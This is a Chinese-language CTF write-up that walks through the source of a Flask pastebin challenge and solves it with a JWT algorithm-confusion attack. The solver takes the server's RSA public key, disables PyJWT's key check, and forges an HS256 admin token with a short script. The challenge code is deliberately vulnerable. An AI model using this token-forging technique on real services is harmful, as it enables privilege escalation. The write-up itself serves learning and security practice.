jwt(JSON Web Tokens)的一道题目代码分析

提示：扫一扫查出行
【扫一扫了解最新限行尾号】
复制提示

题目链接https://github.com/wonderkun/CTF_web/tree/5b08d23ba4086992cbb9f3f4da89a6bb1346b305/web300-6

参考链接 https://skysec.top/2018/05/19/2018CUMTCTF-Final-Web/#Pastebin?tdsourcetag=s_pctim_aiomsg
https://chybeta.github.io/2017/08/29/HITB-CTF-2017-Pasty-writeup/
http://www.cnblogs.com/dliv3/p/7450057.html

虽然看着表哥的思路把题目解出来了,但还是云里雾里的,拿到源码分析一波把

import os,time
from flask import Flask, render_template, request,jsonify
from flask_sqlalchemy import SQLAlchemy
import jwt
import string
from Crypto import Random
from Crypto.Hash import SHA
from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
from Crypto.Signature import PKCS1_v1_5 as Signature_pkcs1_v1_5
from Crypto.PublicKey import RSA
import base64
import cgi
from urllib import quote
from urllib import unquote
import hashlib
import json app = Flask(__name__)
app.secret_key = os.urandom(24)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/pastebin.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True
db = SQLAlchemy(app)
random_generator = Random.new().read
rsa = RSA.generate(1024, random_generator) class User(db.Model):
__tablename__ = 'user'
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.Text)
password = db.Column(db.Text)
priv = db.Column(db.Text)
key = db.Column(db.Text)
token = db.Column(db.Text) def __init__(self, username, password, priv, key, token):
self.username = username
self.password = password
self.priv = priv
self.key = key
self.token = token def __repr__(self):
return '<User id:{}, username:{}, password:{}, priv:{}, key:{}, token:{}>'.format(self.id, self.username, self.password, self.priv, self.key, self.token) class Link(db.Model):
__tablename__ = 'link'
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.Text)
link = db.Column(db.Text)
content = db.Column(db.Text) def __init__(self, username, link, content):
self.username = username
self.link = link
self.content = content def __repr__(self):
return '<Link id:{}, username:{}, link:{}, content:{}'.format(self.id, self.username, self.link, self.content) def defense(input_str):
for c in input_str:
if c not in string.letters and c not in string.digits:
return False
return True def getmd5(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest() def getname(str, value):
try:
tmp = str.split('.')[1]
while True:
if len(tmp)%4 == 0:
break
tmp = tmp + "="
username = json.loads(base64.b64decode(tmp))['name']
except:
return False
user = User.query.filter_by(username=username,).first()
if not user:
return False
key_name = user.key
with open('./pubkey/' + key_name + '.pem', 'r') as f:
secret = f.read()
# print(secret)
try:
de_user = jwt.decode(str, secret)
except Exception as e:
# print(e)
return False
# print(de_user)
name = de_user[value]
return name @app.route("/")
def index():
return render_template("index.html") @app.route("/user")
def user():
return render_template("user.html") @app.route("/reg",methods=['POST'])
def reg():
regname = request.form['regname']
if regname == "admin":
return jsonify(result=False,)
regpass = request.form['regpass']
if len(regname) < 5 or len(regname) > 20 or len(regpass) < 5 or len(regpass) > 20 or not defense(regname) or not defense(regpass) or User.query.filter_by(username=regname,).first():
return jsonify(result=False,)
private_pem = rsa.exportKey()
public_pem = rsa.publickey().exportKey()
key_name = getmd5(regname + regpass)
with open('./key/' + key_name + '.pem', 'w') as f:
f.write(private_pem)
with open('./pubkey/' + key_name + '.pem', 'w') as f:
f.write(public_pem)
if regname == "admin":
priv = "admin"
else:
priv = "other"
token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256')
user = User(regname, regpass, priv, key_name, token)
db.session.add(user)
db.session.commit()
return jsonify(result=True,)
@app.route("/login",methods=['POST'])
def login():
username = request.form['name']
password = request.form['pass']
if len(username) < 5 or len(username) > 20 or len(password) < 5 or len(password) > 20 or not defense(username) or not defense(password):
return jsonify(result=False,)
user = User.query.filter_by(username=username,password=password,).first()
if not user:
return jsonify(result=False,)
return jsonify(result=True,token=user.token,) @app.route("/paste",methods=['POST'])
def paste():
content = unquote(request.form['content'])
if len(content)>300:
return jsonify(result=False,)
try:
post_token = request.headers['Authorization'][7:]
except:
return jsonify(result=False,)
name = getname(post_token, "name")
if name == False:
return jsonify(result=False,)
if name == "admin":
return jsonify(result=False,)
link = getmd5(os.urandom(24))
content = cgi.escape(content)
li = Link(name, link, content)
db.session.add(li)
db.session.commit()
return jsonify(result=True,link=name+":"+link) @app.route("/list",methods=["GET"])
def list():
try:
post_token = request.headers['Authorization'][7:]
except:
return jsonify(result=False,)
name = getname(post_token, "name")
if name == False:
return jsonify(result=False,)
priv = getname(post_token, "priv")
if priv == False:
return jsonify(result=False,)
if priv == "other":
li = Link.query.filter_by(username=name,)
links = []
for lin in li:
links.append(name + ":" + lin.link)
return jsonify(result=True,username=name,links=links)
if priv == "admin":
li = Link.query.filter_by()
links = []
for lin in li:
links.append(lin.username + ":" + lin.link)
return jsonify(result=True,username="admin",links=links) @app.route("/pubkey/<key>",methods=["GET"])
def getkey(key):
try:
with open('./pubkey/' + key + '.pem', 'r') as f:
secret = f.read()
return jsonify(result=True,pubkey=secret,)
except:
return jsonify(result=False,) @app.route("/text/<link>",methods=["GET"])
def getcontent(link):
name = link.split(":")[0]
links = link.split(":")[1]
if defense(name) == False or defense(links) == False:
return jsonify(result=False,)
li = Link.query.filter_by(username=name,link=links,).first()
if not li:
return jsonify(result=False,)
return jsonify(result=True,content=li.content,) app.run(debug=False,host='0.0.0.0')

是用flask写的先看注册的代码

@app.route("/reg",methods=['POST'])
def reg():
regname = request.form['regname']
if regname == "admin":
return jsonify(result=False,)
regpass = request.form['regpass']
if len(regname) < 5 or len(regname) > 20 or len(regpass) < 5 or len(regpass) > 20 or not defense(regname) or not defense(regpass) or User.query.filter_by(username=regname,).first():
return jsonify(result=False,)
private_pem = rsa.exportKey()
public_pem = rsa.publickey().exportKey()
key_name = getmd5(regname + regpass)
with open('./key/' + key_name + '.pem', 'w') as f:
f.write(private_pem)
with open('./pubkey/' + key_name + '.pem', 'w') as f:
f.write(public_pem)
if regname == "admin":
priv = "admin"
else:
priv = "other"
token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256')
user = User(regname, regpass, priv, key_name, token)
db.session.add(user)
db.session.commit()
return jsonify(result=True,)

首先是不允许注册admin用户其次会判断账号密码长度>5 且<20 然后会进入defen函数

def defense(input_str):
for c in input_str:
if c not in string.letters and c not in string.digits:
return False
return True

跟进去发现是要求参数必须是

然后会生成rsa的公钥私钥

private_pem = rsa.exportKey()
public_pem = rsa.publickey().exportKey()

之后会把用户的私钥和公钥存放在目录中

key_name = getmd5(regname + regpass)
with open('./key/' + key_name + '.pem', 'w') as f:
f.write(private_pem)
with open('./pubkey/' + key_name + '.pem', 'w') as f:
f.write(public_pem)

命名格式为

getmd5(regname + regpass)

之后是给普通用户为other权限

再之后生成token

token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256')

查阅资料如下

JWT签名算法中，一般有两个选择，一个采用HS256,另外一个就是采用RS256。
签名实际上是一个加密的过程，生成一段标识（也是JWT的一部分）作为接收方验证信息是否被篡改的依据。RS256 (采用SHA-256 的 RSA 签名) 是一种非对称算法, 它使用公共/私钥对: 标识提供方采用私钥生成签名, JWT 的使用方获取公钥以验证签名。由于公钥 (与私钥相比) 不需要保护, 因此大多数标识提供方使其易于使用方获取和使用 (通常通过一个元数据URL)。
另一方面, HS256 (带有 SHA-256 的 HMAC 是一种对称算法, 双方之间仅共享一个密钥。由于使用相同的密钥生成签名和验证签名, 因此必须注意确保密钥不被泄密。在开发应用的时候启用JWT，使用RS256更加安全，你可以控制谁能使用什么类型的密钥。另外，如果你无法控制客户端，无法做到密钥的完全保密，RS256会是个更佳的选择，JWT的使用方只需要知道公钥。由于公钥通常可以从元数据URL节点获得，因此可以对客户端进行进行编程以自动检索公钥。如果采用这种方式，从服务器上直接下载公钥信息，可以有效的减少配置信息。

RS256为非对称的算法

标识提供方采用私钥生成签名, JWT 的使用方获取公钥以验证签名。

加密后入库保存具体数据库操作代码就不追踪了,注册流程到这

接着看登陆的函数

@app.route("/login",methods=['POST'])
def login():
username = request.form['name']
password = request.form['pass']
if len(username) < 5 or len(username) > 20 or len(password) < 5 or len(password) > 20 or not defense(username) or not defense(password):
return jsonify(result=False,)
user = User.query.filter_by(username=username,password=password,).first()
if not user:
return jsonify(result=False,)
return jsonify(result=True,token=user.token,)

逻辑上差不多就是个登陆验证,登陆成功后进入了主界面有两个功能

一个是存储的功能paste 另一个是查看功能看看你存储了哪些东西,先来看paste功能

@app.route("/paste",methods=['POST'])
def paste():
content = unquote(request.form['content'])
if len(content)>300:
return jsonify(result=False,)
try:
post_token = request.headers['Authorization'][7:]
except:
return jsonify(result=False,)
name = getname(post_token, "name")
if name == False:
return jsonify(result=False,)
if name == "admin":
return jsonify(result=False,)
link = getmd5(os.urandom(24))
content = cgi.escape(content)
li = Link(name, link, content)
db.session.add(li)
db.session.commit()
return jsonify(result=True,link=name+":"+link)

接受传进来的参数content 并且长度不能大于300 获取http头中的参数

post_token = request.headers['Authorization'][7:]

然后从Authorization解析出name变量来

name = getname(post_token, "name")

跟进getname函数

def getname(str, value):
try:
tmp = str.split('.')[1]
while True:
if len(tmp)%4 == 0:
break
tmp = tmp + "="
username = json.loads(base64.b64decode(tmp))['name']
except:
return False
user = User.query.filter_by(username=username,).first()
if not user:
return False
key_name = user.key
with open('./pubkey/' + key_name + '.pem', 'r') as f:
secret = f.read()
# print(secret)
try:
de_user = jwt.decode(str, secret)
except Exception as e:
# print(e)
return False
# print(de_user)
name = de_user[value]
return name

先用burpsuite抓包看看Authorzation是啥样

Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdGVyIiwicHJpdiI6Im90aGVyIn0.FTnXqCb7drMUhsKChxDWIDdG6_KkC7bFORthEhQJh5JamKMeUB4aNGYgh_M0UTcZGcN_3I0ElsboDA4QglrLZVtllzXAYpunHWWH15BDtMaFk7aqwxqRzBCyWDM7vjErq3YvzYBnguwtF_uaTtKWN9DvNSyVk0eP-hae13JBdRY

这就是用jwt 以rs256加密后的

token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256')

有个解析的网站https://jwt.io/#debugger-io 扔进去看看

由3个部分组成的，由三个.分隔，分别是

header
payload
Sinature

每一部分都是base64编码的。

header

通常由两部分组成：令牌的类型，即JWT和正在使用的散列算法，如HMAC SHA256或RSA

{
"alg": "RS256",
"typ": "JWT"
}

alg为算法的缩写，typ为类型的缩写,然后，这个JSON被Base64编码，形成JSON Web Token的第一部分。

payload

令牌的第二部分是包含声明的有效负载。声明是关于实体（通常是用户）和其他元数据的声明。这里是用户随意定义的数据例如上面的举例

{
"name": "tester",
"priv": "other"
}

Signature

要创建签名部分，必须采用header，payload，密钥。然后利用header中指定算法进行签名，例如RS256(RSA SHA256),签名的构成为：

RSASHA256(
base64UrlEncode(header) + "." +base64UrlEncode(payload),Public Key or Certificate. Enter it in plain text only if you want to verify a token
,Private Key. Enter it in plain text only if you want to generate a new token. The key never leaves your browser.)

HS256(HMAC SHA256),签名的构成为：

HMACSHA256(
base64Encode(header) + "." +
base64Encode(payload),
secret)

继续看name函数

调试输出一下试试

username为当前用户名

然后根据用户名进入数据库查到对应的公钥user.key并赋值给secret

user = User.query.filter_by(username=username,).first()

然后进入

de_user = jwt.decode(str, secret)

这里的str是刚才jwt.decode用私钥以rs256的方式加密的，然后将公钥secret给他解密后给de_user返回value

将内容打印出来

取所需要的value返回

走回paste函数往下走这个类似php中转义xss的那个函数htmlbalbalba

cgi.escape(txt) #

这样paste函数就完事了

之后进入list函数

@app.route("/list",methods=["GET"])
def list():
try:
post_token = request.headers['Authorization'][7:]
except:
return jsonify(result=False,)
name = getname(post_token, "name")
if name == False:
return jsonify(result=False,)
priv = getname(post_token, "priv")
if priv == False:
return jsonify(result=False,)
if priv == "other":
li = Link.query.filter_by(username=name,)
links = []
for lin in li:
links.append(name + ":" + lin.link)
return jsonify(result=True,username=name,links=links)
if priv == "admin":
li = Link.query.filter_by()
links = []
for lin in li:
links.append(lin.username + ":" + lin.link)
return jsonify(result=True,username="admin",links=links)

首先通过获取到想要的值

name = getname(post_token, "name")
priv = getname(post_token, "priv")

接下来判断如果name的权限是other就返回该name的paste内容是admin 就返回所有的paste内容

代码通读完了大体功能也了解了虽然不知道具体细节但大体思路还是清楚的大概就是验证身份的时候存在问题

这其实是一个算法篡改攻击，因为服务器利用的RS256算法，用的是私钥进行签名，公钥进行验证的，（https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/）

查看js /static/js/common.js

function getpubkey(){
/*
get the pubkey for test
/pubkey/{md5(username+password)}
*/
}

可以通过这里找到自己私钥

{"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvXqtl0+ilz1cyajoUq/zzxYj\nZQtPA5WxUx1/vrZ7vhWcOg/3AwI1WN7xfHFC2UFVOtPeg3OmYRUO0Q9uM2OaNPNA\nWAGO5ZDOg3KARpj5ZdKLBM+GXD0KZEv+a/C+NbTHyE7EeDbLnWi0b5ROiMZ0sf0d\nmP1N6WZfm1RULtH4EQIDAQAB\n-----END PUBLIC KEY-----","result":true}

规范下格式

我们可以获取到自己的public key。JWT的header部分中，有签名算法标识alg，而alg是用于签名算法的选择，最后保证用户的数据不被篡改。但是在数据处理不正确的情况下，可能存在alg的恶意篡改。我们可以伪造算法为hs256，然后利用我们的获取的public key，来签名伪造的数据，绕过验证。PyJWT库中对这种攻击做了预防，不允许hs256的密钥中出现下面这些字符，具体见algorithms.py:151

直接注释掉

def prepare_key(self, key):
key = force_bytes(key)
return key

import jwt
public = open("1.txt",'r').read()
print jwt.encode({"name":"aoligei","priv":"admin"},key=public,algorithm='HS256')

生成的字符串替换掉对应的Authortion

list的时候再次进入get_name函数的时候

key_name = user.key
with open('./pubkey/' + key_name + '.pem', 'r') as f:
secret = f.read()

从数据库取出来的secret 和用通过pubkey目录的公钥是一样的因为HS256是对称的所以直接解密即可伪造一个admin权限绕过if